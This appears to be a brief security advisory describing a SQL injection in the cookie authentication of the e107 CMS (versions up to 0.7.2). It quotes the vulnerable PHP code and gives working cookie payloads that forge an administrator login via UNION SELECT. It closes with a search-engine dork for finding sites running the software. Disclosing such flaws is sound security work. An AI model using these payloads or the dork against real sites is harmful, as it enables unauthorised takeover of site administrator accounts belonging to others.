SQL-Injection in e107 allows attacker to become a site admininstrator

Advisory Content :

Software: e107 (CMS)

Versions: <= 0.7.2

Type: SQL-injection

Homepage: www.e107.org

Description:

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SQL-Injection in e107 allows attacker to become a site admininstrator.

Requirements:

----------------------------

Magic_quotes_gpc = Off

Vulnerability:

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Vulnerability has been found in processing the COOKIE.

COOKIE use for authentification users and administrator.

Data transfered to this parameter not are filtered.

Code:

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class2.php

.....

> list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",
> $_COOKIE[$pref['cookie_name']]) : explode(".",
$_SESSION[$pref['cookie_name']]));

.....

> if($result = get_user_data($uid, "AND
md5(u.user_password)='{$upw}'", FALSE)) {

.....

Exploit:

0.6.xxx

1.blabla_hash_password' union select * from e107_user where user_id=1/*

0.7.X

1.blabla_hash_password' union select
1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995
361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,3
2,33 /*

Additional Information:

-----------------------

Google dorks: "Powered by e107"

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SQL-Injection in e107 allows attacker to become a site admininstrator